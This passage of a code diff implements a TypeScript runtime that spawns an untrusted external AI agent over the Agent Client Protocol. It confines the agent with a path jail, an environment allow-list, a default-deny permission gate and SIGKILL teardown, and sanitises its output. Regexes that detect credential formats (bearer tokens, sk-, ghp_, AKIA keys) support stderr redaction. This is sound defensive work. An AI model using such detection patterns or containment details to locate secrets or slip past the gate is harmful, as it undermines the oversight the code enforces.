const handle = await open(safePath, flags | fsConstants.O_NOFOLLOW, mode);
try {
// Re-validate the opened inode's real path is still within the jail. On
// Linux `/proc/self/fd/<fd>` would work; portably we realpath the safePath
// again now that O_NOFOLLOW proved the final component isn't a symlink — any
// intermediate swap would change this resolution.
const reReal = await realpath(safePath);
if (!isWithin(realCwd, reReal)) {
throw new PathJailError(
"path_outside_cwd",
`opened path escapes cwd after open: ${reReal}`,
);
}
return handle;
} catch (err) {
await handle.close().catch(() => undefined);
throw err;
}
}

View File

@@ -0,0 +1,104 @@
// Async readiness probe + failure taxonomy for the ACP runtime.
//
// Mirrors the droid-runtime async-probe convention (KTD4): never block the
// event loop, never throw into it — always resolve a typed status. The probe
// spawns the agent, completes (or fails) the `initialize` handshake under a
// timeout, and maps the outcome onto a small failure taxonomy so the UI can
// distinguish "binary missing" from "handshake stalled" from "needs auth".
import {
connect,
HandshakeTimeoutError,
IncompatibleProtocolError,
DEFAULT_INITIALIZE_TIMEOUT_MS,
} from "./provider.js";
export type AcpProbeReason =
| "ok"
| "missing_binary"
| "spawn_error"
| "handshake_timeout"
| "incompatible_protocol"
| "unauthenticated";
export interface AcpProbeStatus {
ok: boolean;
reason: AcpProbeReason;
detail?: string;
protocolVersion?: number;
authRequired?: boolean;
}
export interface ProbeOptions {
binaryPath: string;
args: string[];
cwd: string;
env: NodeJS.ProcessEnv;
timeoutMs?: number;
}
function isMissingBinary(err: unknown): boolean {
const code = (err as NodeJS.ErrnoException | undefined)?.code;
return code === "ENOENT";
}
/**
* Probe whether the configured ACP agent is present and completes the handshake.
*
* Never rejects — resolves an `AcpProbeStatus`. Always tears the spawned process
* down afterward (success or failure). Mapping:
* - ENOENT spawn error → `missing_binary`
* - other spawn error → `spawn_error`
* - handshake timeout → `handshake_timeout`
* - mismatched protocol version → `incompatible_protocol`
* - non-empty authMethods → `ok` with `authRequired: true`
*/
export async function probeAcpReadiness(opts: ProbeOptions): Promise<AcpProbeStatus> {
const timeoutMs = opts.timeoutMs ?? DEFAULT_INITIALIZE_TIMEOUT_MS;
let connection: Awaited<ReturnType<typeof connect>> | undefined;
try {
connection = await connect({
binaryPath: opts.binaryPath,
args: opts.args,
cwd: opts.cwd,
env: opts.env,
// Probe with fs capabilities OFF — readiness must not advertise anything
// the real session might not (KTD6).
advertiseFs: { read: false, write: false },
initializeTimeoutMs: timeoutMs,
});
const authRequired = connection.authMethods.length > 0;
return {
ok: true,
reason: "ok",
authRequired,
};
} catch (err) {
if (err instanceof HandshakeTimeoutError) {
return { ok: false, reason: "handshake_timeout", detail: err.message };
}
if (err instanceof IncompatibleProtocolError) {
return {
ok: false,
reason: "incompatible_protocol",
detail: err.message,
protocolVersion: err.agentProtocolVersion,
};
}
if (isMissingBinary(err)) {
return {
ok: false,
reason: "missing_binary",
detail: `ACP agent binary not found: ${opts.binaryPath}`,
};
}
return {
ok: false,
reason: "spawn_error",
detail: err instanceof Error ? err.message : String(err),
};
} finally {
connection?.dispose();
}
}

View File

@@ -0,0 +1,160 @@
// Subprocess lifecycle for the ACP runtime.
//
// Mirrors the hardening conventions in
// `plugins/fusion-plugin-droid-runtime/src/process-manager.ts`: a self-cleaning
// process registry, SIGKILL teardown scoped to agent subprocesses only (never
// the dashboard/port-4040 — KTD4), bounded stderr capture with secret redaction
// (Risk S8), and a high inactivity ceiling (the engine's StuckTaskDetector is
// the authoritative aborter — KTD4).
//
// The ACP agent is UNTRUSTED. The spawn env is built from an explicit allow-list
// (KTD6b), never inherited `process.env`, so secret-bearing vars are not handed
// to the agent.
import { spawn, type ChildProcess } from "node:child_process";
function debugLog(message: string): void {
if (process.env.PI_ACP_DEBUG !== "1") return;
console.error(`[acp-runtime] ${message}`);
}
/** Registry of active agent subprocesses for teardown. Self-cleans on exit. */
const activeProcesses = new Set<ChildProcess>();
/**
* Register a subprocess in the agent process registry.
* Auto-removed from the registry when it exits.
*/
export function registerProcess(child: ChildProcess): void {
activeProcesses.add(child);
child.on("exit", () => activeProcesses.delete(child));
}
/** Remove a subprocess from the registry (idempotent). */
export function unregisterProcess(child: ChildProcess): void {
activeProcesses.delete(child);
}
/** Number of registered (presumed-live) agent subprocesses — for diagnostics/tests. */
export function activeProcessCount(): number {
return activeProcesses.size;
}
/**
* Force-kill a subprocess via SIGKILL. No-op if already dead (killed or exited).
* Cross-platform safe: Node treats SIGKILL as forceful termination on Windows.
*/
export function forceKill(child: ChildProcess): void {
if (child.killed || child.exitCode !== null) return;
try {
child.kill("SIGKILL");
} catch {
// already gone
}
}
/**
* Force-kill every registered agent subprocess and clear the registry.
*
* Scoped to agent subprocesses tracked here only — never the dashboard / port
* 4040 / any other process (KTD4 / kill-guard conventions). Safe to call
* repeatedly; no-ops on already-dead processes.
*/
export function killAllProcesses(): void {
for (const child of activeProcesses) {
forceKill(child);
}
activeProcesses.clear();
}
/**
* Build the subprocess environment from an explicit allow-list (KTD6b).
*
* Returns ONLY allow-listed vars copied from `process.env`. The full env is
* never inherited — the agent is untrusted and must not receive secret-bearing
* vars. Returns an empty env by default (empty allow-list).
*/
export function buildSpawnEnv(allowList: string[]): NodeJS.ProcessEnv {
const env: NodeJS.ProcessEnv = {};
for (const key of allowList) {
const value = process.env[key];
if (typeof value === "string") env[key] = value;
}
return env;
}
export interface SpawnAgentOptions {
binaryPath: string;
args: string[];
cwd: string;
env: NodeJS.ProcessEnv;
}
/**
* Spawn the ACP agent subprocess with piped stdio.
*
* Registers the child on spawn and unregisters it on exit. The caller wraps
* stdin/stdout into a web stream for `ndJsonStream`.
*/
export function spawnAgent(options: SpawnAgentOptions): ChildProcess {
const child = spawn(options.binaryPath, options.args, {
stdio: ["pipe", "pipe", "pipe"],
cwd: options.cwd,
env: options.env,
});
registerProcess(child);
debugLog(`spawnAgent: pid=${child.pid} binary=${options.binaryPath}`);
return child;
}
// --- stderr capture + secret redaction (Risk S8) --------------------------
/** Maximum stderr bytes retained; older output is dropped to bound memory. */
const STDERR_BUFFER_CEILING = 64 * 1024;
/**
* Redact token-like / auth patterns from text so auth errors don't leak
* verbatim into the stderr buffer or logs (Risk S8). Best-effort: covers
* bearer tokens, `Authorization:` header values, `key=`/`token=`/`secret=`
* assignments, and long base64/hex secrets.
*/
export function redactSecrets(text: string): string {
return (
text
// Authorization: Bearer <token> / Authorization: <token>
.replace(/(authorization\s*[:=]\s*)(bearer\s+)?[^\s,;"']+/gi, "$1$2[REDACTED]")
// Bearer <token>
.replace(/\b(bearer)\s+[A-Za-z0-9._\-+/=]+/gi, "$1 [REDACTED]")
// key=... token=... secret=... password=... apikey=... (quoted or bare)
.replace(
/\b((?:api[_-]?key|key|token|secret|password|passwd|pwd|access[_-]?token|refresh[_-]?token|client[_-]?secret)\s*[:=]\s*)("?)[^\s,;"']+\2/gi,
"$1$2[REDACTED]$2",
)
// sk-/ghp_/github_pat_/xoxb-/AKIA-style long opaque tokens
.replace(/\b(sk-|ghp_|gho_|github_pat_|xox[abpr]-|AKIA)[A-Za-z0-9_\-]{8,}/g, "[REDACTED]")
// standalone long base64/hex secrets (>=32 chars)
.replace(/\b[A-Za-z0-9+/]{40,}={0,2}\b/g, "[REDACTED]")
.replace(/\b[0-9a-fA-F]{32,}\b/g, "[REDACTED]")
);
}
/**
* Accumulate stderr into a bounded, secret-redacted buffer.
* Returns a getter for the current (redacted) buffer contents.
*/
export function captureStderr(child: ChildProcess): () => string {
// FIX 5: redacting each chunk in isolation leaks a secret that straddles a
// chunk boundary (the token is split across two `data` events so neither half
// matches a pattern). Accumulate the RAW bytes into a bounded buffer first,
// then redact across the whole (bounded) buffer after each append so a
// boundary-spanning secret is caught. The buffer stays bounded by the existing
// ceiling; the returned getter always reports the redacted view.
let raw = "";
child.stderr?.on("data", (data: Buffer) => {
raw += data.toString();
if (raw.length > STDERR_BUFFER_CEILING) {
raw = raw.slice(raw.length - STDERR_BUFFER_CEILING);
}
});
return () => redactSecrets(raw);
}

View File

@@ -0,0 +1,49 @@
// Builds ACP `ContentBlock[]` from a Fusion prompt.
//
// U3 core path: a plain string prompt becomes a single `{ type: "text", text }`
// block. The runtime may later pass structured content (e.g. an attached image);
// when present we emit the matching block. Keep this small and pure.
import type { ContentBlock } from "@agentclientprotocol/sdk";
/** Optional structured content the runtime may attach alongside the text prompt. */
export interface PromptImage {
/** Base64-encoded image data (no data: prefix). */
data: string;
/** MIME type, e.g. "image/png". */
mimeType: string;
/** Optional source URI for the image. */
uri?: string;
}
export interface BuildPromptOptions {
/** Image content to append as image block(s) after the text. */
images?: PromptImage[];
}
/**
* Build the ACP prompt content blocks for a turn.
*
* A non-empty string yields one text block. An empty/whitespace-only string
* yields no text block (but any attached images are still included), so we never
* send a meaningless empty text block. Images, when supplied, are appended as
* `image` blocks (passthrough — KTD ContentBlock image variant).
*/
export function buildPromptBlocks(prompt: string, opts?: BuildPromptOptions): ContentBlock[] {
const blocks: ContentBlock[] = [];
if (typeof prompt === "string" && prompt.trim().length > 0) {
blocks.push({ type: "text", text: prompt });
}
for (const image of opts?.images ?? []) {
blocks.push({
type: "image",
data: image.data,
mimeType: image.mimeType,
...(image.uri ? { uri: image.uri } : {}),
});
}
return blocks;
}

View File

@@ -0,0 +1,438 @@
// ACP connection layer: spawn → ClientSideConnection → initialize handshake.
//
// U2 establishes the transport and completes the `initialize` handshake with
// integer protocol-version negotiation (KTD2) and a readiness timeout. Session
// driving (`session/new`, `session/prompt`, cancel, load) is U3 — this unit only
// exposes the live `conn` on the returned handle so later units can drive it.
//
// Security posture (KTD6): filesystem client capabilities are advertised ONLY
// when the caller's `advertiseFs` toggle is true — never hardcoded. Teardown is
// registry-SIGKILL-authoritative (KTD4a): `dispose()` force-kills the child via
// the process registry; that kill is the no-orphan guarantee, not a graceful
// round-trip.
import { Readable, Writable } from "node:stream";
import type { ChildProcess } from "node:child_process";
import {
ClientSideConnection,
ndJsonStream,
PROTOCOL_VERSION,
type Agent,
type AgentCapabilities,
type Client,
type ContentBlock,
type RequestPermissionResponse,
type StopReason,
} from "@agentclientprotocol/sdk";
import { spawnAgent, captureStderr, forceKill, unregisterProcess } from "./process-manager.js";
import { createEventBridge } from "./event-bridge.js";
import { resolvePermission, type ResolvePermissionOptions } from "./control-handler.js";
import { createFsHandlers } from "./fs-capabilities.js";
import { boundIdentifier } from "./sanitize.js";
import type { AcpCallbacks, PermissionGate } from "./types.js";
/** Options enabling the U7 fs client capabilities on the bridging handler. */
export interface FsHandlerBuildOptions {
/** Confinement root — the session cwd / task worktree. */
cwd: string;
/** Register `readTextFile` (advertised iff true). */
allowRead: boolean;
/** Register `writeTextFile` (default OFF — KTD6; advertised iff true). */
allowWrite: boolean;
}
/** Default bound for the `initialize` handshake. */
export const DEFAULT_INITIALIZE_TIMEOUT_MS = 30_000;
/** Thrown when the agent negotiates an integer protocol version we don't support. */
export class IncompatibleProtocolError extends Error {
readonly code = "incompatible_protocol" as const;
constructor(
readonly agentProtocolVersion: number,
readonly expected: number = PROTOCOL_VERSION,
) {
super(
`ACP agent negotiated incompatible protocol version ${agentProtocolVersion} (client supports ${expected})`,
);
this.name = "IncompatibleProtocolError";
}
}
/** Thrown when the `initialize` handshake does not complete within the bound. */
export class HandshakeTimeoutError extends Error {
readonly code = "handshake_timeout" as const;
constructor(readonly timeoutMs: number) {
super(`ACP initialize handshake timed out after ${timeoutMs}ms`);
this.name = "HandshakeTimeoutError";
}
}
/**
* Minimal default client handler. Later units (U3/U4/U5/U7) supply the real one
* that bridges `session/update` into Fusion callbacks and routes permission
* requests through the action gate. The default cancels every permission request
* (never auto-allows an untrusted agent) and ignores updates.
*/
export function createDefaultClientHandler(): Client {
return {
async sessionUpdate() {
// no-op until the U4 event bridge is wired
},
async requestPermission() {
return { outcome: { outcome: "cancelled" } };
},
};
}
/** A bridging client handler plus a drain control for its in-flight permissions. */
export interface BridgingClientHandler {
/** The ACP `Client` impl handed to `ClientSideConnection`. */
handler: Client;
/**
* Resolve every in-flight `requestPermission` with `{ cancelled }` and mark the
* handler cancelled so any request arriving afterward is answered cancelled
* immediately (U5 cancel-drain — KTD4a). Idempotent.
*/
cancelPending(): void;
/**
* Reset the event bridge's PER-TURN state (tool correlation, delta
* accumulators, cumulative-output counter, output-cap latch). MUST be called
* at the start of each prompt turn so a turn that trips the per-turn output cap
* does not silently suppress every subsequent turn (FIX 1).
*/
resetTurn(): void;
}
/**
* The real client handler (U4 + U5): bridges every `session/update` notification
* into the engine callbacks, AND answers `session/request_permission` through the
* per-category action gate (U5 — the SECURITY FLOOR).
*
* Permission requests are routed to `resolvePermission`, which classifies each
* call per-category against the live `gate` and selects `allow_once` only (never
* `*_always`). When no `gate` is supplied the resolver default-denies.
*
* Cancel-drain (KTD4a / Risk: in-flight permission deadlock): every pending
* `requestPermission` promise is tracked; `cancelPending()` resolves them all
* with `{ cancelled }`. A request that arrives AFTER cancel is answered
* `{ cancelled }` immediately so the agent never blocks on teardown.
*/
export function createBridgingClientHandler(
callbacks: AcpCallbacks,
gate?: PermissionGate,
fsOpts?: FsHandlerBuildOptions,
permissionOpts?: ResolvePermissionOptions,
): BridgingClientHandler {
const bridge = createEventBridge(callbacks);
// U7: build the fs handlers, returning only the enabled ones. They are added
// to the handler below ONLY when present, keeping the advertised-capability /
// registered-handler invariant consistent (KTD6).
const fsHandlers = fsOpts
? createFsHandlers({
cwd: fsOpts.cwd,
gate,
allowRead: fsOpts.allowRead,
allowWrite: fsOpts.allowWrite,
allowUnrestricted: permissionOpts?.allowUnrestricted,
})
: {};
const cancelledResponse: RequestPermissionResponse = {
outcome: { outcome: "cancelled" },
};
let cancelled = false;
// Each entry resolves its pending requestPermission with a cancelled outcome.
const pending = new Set<(response: RequestPermissionResponse) => void>();
function cancelPending(): void {
cancelled = true;
for (const resolveCancelled of [...pending]) {
resolveCancelled(cancelledResponse);
}
pending.clear();
}
const handler: Client = {
async sessionUpdate(params) {
bridge.handleSessionUpdate(params.update);
},
async requestPermission(params): Promise<RequestPermissionResponse> {
// A request arriving after cancel is answered cancelled immediately.
if (cancelled) return cancelledResponse;
// Race the real gate resolution against a cancel-drain so an in-flight
// request is answered the moment teardown drains it (never deadlocks).
return await new Promise<RequestPermissionResponse>((resolve) => {
let settled = false;
const finish = (response: RequestPermissionResponse) => {
if (settled) return;
settled = true;
pending.delete(drain);
resolve(response);
};
const drain = (response: RequestPermissionResponse) => finish(response);
pending.add(drain);
resolvePermission(params.toolCall, params.options, gate, permissionOpts).then(
(response) => finish(response),
// resolvePermission never rejects, but stay safe: deny-by-cancel.
() => finish(cancelledResponse),
);
});
},
};
// Register fs handlers ONLY when enabled, so the advertised capability and the
// present handler stay consistent (KTD6). If a capability is disabled the
// method is absent → an agent calling it gets a JSON-RPC method-not-found
// error (never a silent success).
if (fsHandlers.readTextFile) handler.readTextFile = fsHandlers.readTextFile;
if (fsHandlers.writeTextFile) handler.writeTextFile = fsHandlers.writeTextFile;
return { handler, cancelPending, resetTurn: () => bridge.reset() };
}
export interface AcpConnection {
/** Live ACP connection — later units drive session/new, prompt, cancel, load. */
conn: ClientSideConnection;
child: ChildProcess;
agentCapabilities?: AgentCapabilities;
/** Auth methods the agent advertised; non-empty means auth is required. */
authMethods: Array<{ id: string }>;
/** Current redacted stderr buffer. */
stderr(): string;
/** Force-kill the agent via the registry (KTD4a — SIGKILL is authoritative). */
dispose(): void;
}
export interface ConnectOptions {
binaryPath: string;
args: string[];
cwd: string;
env: NodeJS.ProcessEnv;
clientHandler?: Client;
/** Advertise fs capabilities ONLY where the toggle is true (KTD6). */
advertiseFs: { read: boolean; write: boolean };
initializeTimeoutMs?: number;
}
function withTimeout<T>(promise: Promise<T>, ms: number, onTimeout: () => Error): Promise<T> {
return new Promise<T>((resolve, reject) => {
const timer = setTimeout(() => reject(onTimeout()), ms);
timer.unref?.();
promise.then(
(value) => {
clearTimeout(timer);
resolve(value);
},
(err) => {
clearTimeout(timer);
reject(err);
},
);
});
}
/**
* Spawn the agent, establish a `ClientSideConnection` over its stdio, and
* complete the `initialize` handshake under a timeout.
*
* Throws `HandshakeTimeoutError` on timeout, `IncompatibleProtocolError` when
* the negotiated integer protocol version mismatches — in both cases the
* subprocess is force-killed before throwing (no orphans, KTD4a). On `initialize`
* the fs capability flags are gated by `advertiseFs` and never hardcoded (KTD6).
*/
export async function connect(opts: ConnectOptions): Promise<AcpConnection> {
const timeoutMs = opts.initializeTimeoutMs ?? DEFAULT_INITIALIZE_TIMEOUT_MS;
const child = spawnAgent({
binaryPath: opts.binaryPath,
args: opts.args,
cwd: opts.cwd,
env: opts.env,
});
const stderr = captureStderr(child);
let disposed = false;
const dispose = () => {
if (disposed) return;
disposed = true;
forceKill(child);
unregisterProcess(child);
};
// If the binary is missing, spawn emits "error" asynchronously. Surface that
// as a rejection of the handshake rather than an unhandled event-loop error.
let spawnError: Error | undefined;
const spawnErrored = new Promise<never>((_resolve, reject) => {
child.once("error", (err: Error) => {
spawnError = err;
reject(err);
});
});
// Avoid an unhandled rejection if the handshake resolves/throws first.
spawnErrored.catch(() => undefined);
// output = the agent's stdin; input = the agent's stdout.
const stream = ndJsonStream(
Writable.toWeb(child.stdin!) as unknown as WritableStream<Uint8Array>,
Readable.toWeb(child.stdout!) as unknown as ReadableStream<Uint8Array>,
);
const handler = opts.clientHandler ?? createDefaultClientHandler();
const conn = new ClientSideConnection((_agent: Agent) => handler, stream);
let initResult: Awaited<ReturnType<ClientSideConnection["initialize"]>>;
try {
initResult = await Promise.race([
withTimeout(
conn.initialize({
protocolVersion: PROTOCOL_VERSION,
clientCapabilities: {
fs: {
readTextFile: opts.advertiseFs.read === true,
writeTextFile: opts.advertiseFs.write === true,
},
},
}),
timeoutMs,
() => new HandshakeTimeoutError(timeoutMs),
),
spawnErrored,
]);
} catch (err) {
dispose();
if (spawnError && err === spawnError) throw spawnError;
throw err;
}
// Compare the negotiated integer protocol version; do NOT assume the agent
// errors first (KTD2).
if (initResult.protocolVersion !== PROTOCOL_VERSION) {
dispose();
throw new IncompatibleProtocolError(initResult.protocolVersion);
}
const authMethods = Array.isArray(initResult.authMethods)
? initResult.authMethods.map((m) => ({ id: m.id }))
: [];
return {
conn,
child,
agentCapabilities: initResult.agentCapabilities,
authMethods,
stderr,
dispose,
};
}
// --- U3: session driving on top of connect() -------------------------------
//
// These helpers wrap the `ClientSideConnection` session methods so the runtime
// adapter drives one shape (open → prompt → cancel/resume) without touching SDK
// types directly. v1 always sends an empty `mcpServers` (KTD5).
function readsLoadSession(connection: AcpConnection): boolean {
// `agentCapabilities` is already typed as `AgentCapabilities | undefined`.
return connection.agentCapabilities?.loadSession === true;
}
export interface NewAcpSessionResult {
sessionId: string;
/** Initial session mode state, when the agent reports one. */
modes?: unknown;
}
/**
* Open a fresh ACP session via `session/new`. Always passes an empty
* `mcpServers` (KTD5 — Fusion custom-tool forwarding is deferred).
*/
export async function newAcpSession(
connection: AcpConnection,
opts: { cwd: string },
): Promise<NewAcpSessionResult> {
const res = await connection.conn.newSession({ cwd: opts.cwd, mcpServers: [] });
// `sessionId` is agent-supplied/untrusted (U6/Risk S7): bound its length and
// strip path separators / NUL bytes before it is stored on the session or
// could ever touch a resume-file path.
return { sessionId: boundIdentifier(res.sessionId), modes: res.modes ?? undefined };
}
/**
* Send a prompt turn via `session/prompt` and return the terminal `stopReason`.
*
* The SDK prompt promise resolves only AFTER every `session/update` for the turn
* has been delivered to the client handler — so resolving here is the correct
* "turn complete" signal (no extra draining required).
*/
export async function promptAcpSession(
connection: AcpConnection,
sessionId: string,
blocks: ContentBlock[],
): Promise<StopReason> {
const res = await connection.conn.prompt({ sessionId, prompt: blocks });
return res.stopReason;
}
/**
* Best-effort cancel of the active turn via the `session/cancel` notification.
*
* This is fire-and-forget (no ack in the protocol). Errors are swallowed — it
* runs during teardown where the registry SIGKILL is the authoritative guarantee
* (KTD4a).
*/
/** Upper bound on how long `cancelAcpSession` waits on the cancel write (FIX 7). */
const CANCEL_TIMEOUT_MS = 2_000;
export async function cancelAcpSession(
connection: AcpConnection,
sessionId: string,
): Promise<void> {
// `conn.cancel` writes to the agent's stdin pipe; a dead or full pipe can
// back-pressure and stall teardown (the adapter awaits this BEFORE the
// authoritative registry SIGKILL). Bound it so the kill still runs promptly
// (FIX 7). Errors are swallowed — this is already best-effort.
try {
await Promise.race([
connection.conn.cancel({ sessionId }),
new Promise<void>((resolve) => {
const timer = setTimeout(resolve, CANCEL_TIMEOUT_MS);
timer.unref?.();
}),
]);
} catch {
// fire-and-forget; teardown's SIGKILL is authoritative
}
}
/**
* Resume a session. Prefers `session/load` (history replay) when the agent
* advertised the `loadSession` capability; otherwise falls back to opening a
* fresh `session/new`. There is no separate `resume` method in this SDK build —
* `loadSession` IS the resume path.
*
* NOTE (v1): engine-driven resume wiring is intentionally deferred — the
* runtime adapter always opens a fresh session via `newAcpSession`. This helper
* exists (and is unit-tested for the id-sanitization invariant) so resume can be
* wired in by passing a `sessionId` through `AgentRuntimeOptions` later without
* building new resume machinery.
*/
export async function loadAcpSession(
connection: AcpConnection,
opts: { sessionId: string; cwd: string },
): Promise<NewAcpSessionResult> {
if (readsLoadSession(connection)) {
// Bound the (agent-originated) resume id before it is used as a protocol /
// potential path component (U6/Risk S7).
const safeId = boundIdentifier(opts.sessionId);
const res = await connection.conn.loadSession({
sessionId: safeId,
cwd: opts.cwd,
mcpServers: [],
});
return { sessionId: safeId, modes: res.modes ?? undefined };
}
return newAcpSession(connection, { cwd: opts.cwd });
}

View File

@@ -0,0 +1,160 @@
// AgentRuntime adapter for the ACP runtime.
//
// U3 implements the real session lifecycle: createSession spawns + handshakes
// (U2 connect()) then opens a `session/new`; promptWithFallback drives one
// prompt turn to its terminal stopReason; dispose tears down the connection
// (KTD4a — registry SIGKILL is authoritative). The `session/update` event
// bridge (U4) and the permission gate (U5) are wired in later units; for U3 the
// default client handler from U2 is used and a turn still resolves with a
// stopReason.
import { resolveCliSettings, type AcpCliSettings } from "./cli-spawn.js";
import {
connect,
newAcpSession,
promptAcpSession,
cancelAcpSession,
createBridgingClientHandler,
} from "./provider.js";
import { buildSpawnEnv } from "./process-manager.js";
import { buildPromptBlocks } from "./prompt-builder.js";
import type {
AgentRuntime,
AgentRuntimeOptions,
AgentSession,
AgentSessionResult,
AcpSession,
} from "./types.js";
export class AcpRuntimeAdapter implements AgentRuntime {
readonly id = "acp";
readonly name = "ACP Runtime";
private readonly settings: AcpCliSettings;
constructor(settings?: Record<string, unknown>) {
this.settings = resolveCliSettings(settings);
}
async createSession(options: AgentRuntimeOptions): Promise<AgentSessionResult> {
const model = this.settings.model ?? options.defaultModelId ?? "acp";
// Bridge streamed `session/update` notifications onto the engine callbacks
// (U4) so ACP agents render like existing runtimes.
const callbacks = {
onText: options.onText,
onThinking: options.onThinking,
onToolStart: options.onToolStart,
onToolEnd: options.onToolEnd,
};
// Build the bridging client handler with the per-run permission gate (U5):
// its `requestPermission` classifies each call per-category against the live
// gate (KTD3a) and selects `allow_once` only (S2). `cancelPending` drains
// in-flight permission requests on teardown so the agent never deadlocks.
// fs client capabilities (U7) are gated by settings — reads opt-in, writes
// default OFF (KTD6) — and confined to the task cwd by the path jail. The
// same toggles drive the advertised `fs` capability in connect() below, so
// advertisement and registered handlers stay consistent.
const { handler: clientHandler, cancelPending, resetTurn } = createBridgingClientHandler(
callbacks,
options.actionGateContext,
{
cwd: options.cwd,
allowRead: this.settings.fsRead,
allowWrite: this.settings.fsWrite,
},
// Risk S1: unless the user acknowledged the untrusted-agent risk, a blanket
// `allow` on a sensitive category is escalated to approval rather than
// auto-approved — so the default `unrestricted` policy can't silently
// green-light this untrusted subprocess.
{ allowUnrestricted: this.settings.allowUnrestricted },
);
// Spawn + initialize (U2). fs capabilities are advertised only where the
// resolved settings enable them (KTD6); the subprocess env is built from the
// allow-list, never inherited process.env (KTD6b).
const connection = await connect({
binaryPath: this.settings.binaryPath,
args: this.settings.args,
cwd: options.cwd,
env: buildSpawnEnv(this.settings.envAllowList),
advertiseFs: { read: this.settings.fsRead, write: this.settings.fsWrite },
clientHandler,
});
// Open the ACP session over the task worktree (empty mcpServers — KTD5).
let sessionId: string;
try {
const opened = await newAcpSession(connection, { cwd: options.cwd });
sessionId = opened.sessionId;
} catch (err) {
// Don't leak the subprocess if session/new fails after a good handshake.
connection.dispose();
throw err;
}
let disposed = false;
const session: AcpSession = {
model,
systemPrompt: options.systemPrompt,
sessionId,
cwd: options.cwd,
lastModelDescription: `acp/${model}`,
callbacks,
// Persist the per-run gate (KTD3) so U5/U7 can reach the live action gate.
gate: options.actionGateContext,
connection,
// Reset the event bridge's per-turn state at the start of each turn so a
// turn that trips the per-turn output cap can't latch and suppress every
// subsequent turn (FIX 1).
resetTurn,
dispose: () => {
if (disposed) return;
disposed = true;
// Drain in-flight permission requests BEFORE the registry kill so a
// blocked agent is released (KTD4a — the SIGKILL is still authoritative).
cancelPending();
connection.dispose();
},
};
return { session };
}
async promptWithFallback(
session: AgentSession,
prompt: string,
_options?: unknown,
): Promise<void> {
const acp = session as AcpSession;
if (!acp.connection) {
throw new Error("ACP session has no live connection (createSession not completed)");
}
// Clear per-turn event-bridge state BEFORE driving the turn so tool
// correlation, delta accumulators, and the output-cap latch all start clean
// each turn (FIX 1). Without this, a turn that hit the per-turn output cap
// would silently suppress all later turns.
acp.resetTurn?.();
const blocks = buildPromptBlocks(prompt);
// Resolve when the SDK prompt promise resolves — it already drains all
// session/update notifications for the turn before reporting the stopReason.
// The bridging client handler installed at createSession (U4) has already
// surfaced streamed text/thinking/tool updates onto session.callbacks.
await promptAcpSession(acp.connection, acp.sessionId, blocks);
}
describeModel(session: AgentSession): string {
return session.lastModelDescription || "acp";
}
async dispose(session: AgentSession): Promise<void> {
// KTD4a teardown: best-effort cancel of any in-flight turn, then force the
// connection down. The process-registry SIGKILL is the authoritative
// no-orphan guarantee, not the cancel round-trip. Idempotent.
const acp = session as AcpSession;
if (acp.connection && acp.sessionId) {
await cancelAcpSession(acp.connection, acp.sessionId);
}
session.dispose();
}
}

View File

@@ -0,0 +1,80 @@
// Untrusted-input sanitization helpers (U6 / Risk S7).
//
// Every string an ACP agent emits — text/thinking deltas, tool `title`, plan
// text, `sessionId`, `toolCallId` — is untrusted input. Before any such string
// reaches a Fusion callback, a log, the UI, or (worst) a filesystem path, it must
// be neutralized:
//
// - `stripControlSequences` removes ANSI/OSC escapes and C0/C1 control chars so
// a crafted string cannot inject terminal escapes / rewrite log lines.
// - `boundString` truncates oversized content (Risk S5) with a visible marker.
// - `boundIdentifier` bounds an agent-supplied id and strips path separators /
// NUL bytes so the id can never be interpolated into a filesystem path
// unsanitized.
/** Default cap for an agent-supplied identifier (sessionId, toolCallId). */
export const DEFAULT_IDENTIFIER_MAX = 256;
/** Marker appended when `boundString` truncates its input. */
export const TRUNCATION_MARKER = "…[truncated]";
// ANSI escape sequences:
// CSI / SGR: ESC [ ... <final byte>
// OSC: ESC ] ... (BEL | ST)
// other ESC-prefixed two-char sequences (e.g. ESC ( B)
const ANSI_PATTERN =
// eslint-disable-next-line no-control-regex
/\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[@-Z\\-_]|\x1b\[[0-?]*[ -/]*[@-~]|\x1b[ -/]*[0-~]/g;
// Non-printable control chars to drop. C0 = \x00–\x1F, DEL = \x7F, C1 = \x80–\x9F.
// We KEEP \n (\x0A) and \t (\x09) — they are legitimate whitespace in agent text.
// eslint-disable-next-line no-control-regex
const CONTROL_CHARS_PATTERN = /[\x00-\x08\x0B-\x1F\x7F-\x9F]/g;
/**
* Remove ANSI escape sequences (CSI/SGR/OSC) and non-printable C0/C1 control
* characters from an untrusted string. Preserves `\n` and `\t`. Never throws —
* a non-string input yields an empty string.
*/
export function stripControlSequences(text: string): string {
if (typeof text !== "string" || text === "") return "";
return text.replace(ANSI_PATTERN, "").replace(CONTROL_CHARS_PATTERN, "");
}
/**
* Truncate `text` to at most `max` characters, appending a short truncation
* marker when the input is cut. A non-positive `max` yields an empty string; a
* non-string input yields an empty string. The returned string is never longer
* than `max` (the marker replaces the tail of the budget, it is not added on
* top).
*/
export function boundString(text: string, max: number): string {
if (typeof text !== "string" || text === "") return "";
if (!Number.isFinite(max) || max <= 0) return "";
if (text.length <= max) return text;
if (max <= TRUNCATION_MARKER.length) {
return text.slice(0, max);
}
return text.slice(0, max - TRUNCATION_MARKER.length) + TRUNCATION_MARKER;
}
/**
* Bound an agent-supplied identifier to a sane length and strip anything that
* could let it escape into a filesystem path: path separators (`/`, `\`), NUL
* bytes, control chars, and `..` traversal segments are removed. The result is
* a flat, length-bounded token safe to use as a Map key or a single path
* component. A non-string / empty input yields `""`.
*/
export function boundIdentifier(id: string, max: number = DEFAULT_IDENTIFIER_MAX): string {
if (typeof id !== "string" || id === "") return "";
const cap = Number.isFinite(max) && max > 0 ? max : DEFAULT_IDENTIFIER_MAX;
// Drop ANSI/control first, then path-dangerous characters, then traversal.
let cleaned = stripControlSequences(id)
// eslint-disable-next-line no-control-regex
.replace(/\x00/g, "")
.replace(/[/\\]/g, "_");
// Collapse any remaining `..` traversal tokens (after separators were removed
// a `..` cannot point anywhere, but normalize it away for defense in depth).
cleaned = cleaned.replace(/\.\.+/g, "_");
return cleaned.slice(0, cap);
}

View File

@@ -0,0 +1,46 @@
// Pure helpers mapping ACP `ToolCall` metadata into the display name + args
// shape Fusion's `onToolStart`/`onToolEnd` callbacks expect.
//
// ACP's `kind` is agent-defined, optional, and partial (U4). These helpers must
// never throw on missing/odd input — a missing title falls back to a label
// derived from `kind`, and a missing/non-object `rawInput` normalizes to `{}`.
import type { ToolKind } from "@agentclientprotocol/sdk";
/** Human-readable labels for each ACP `ToolKind`. */
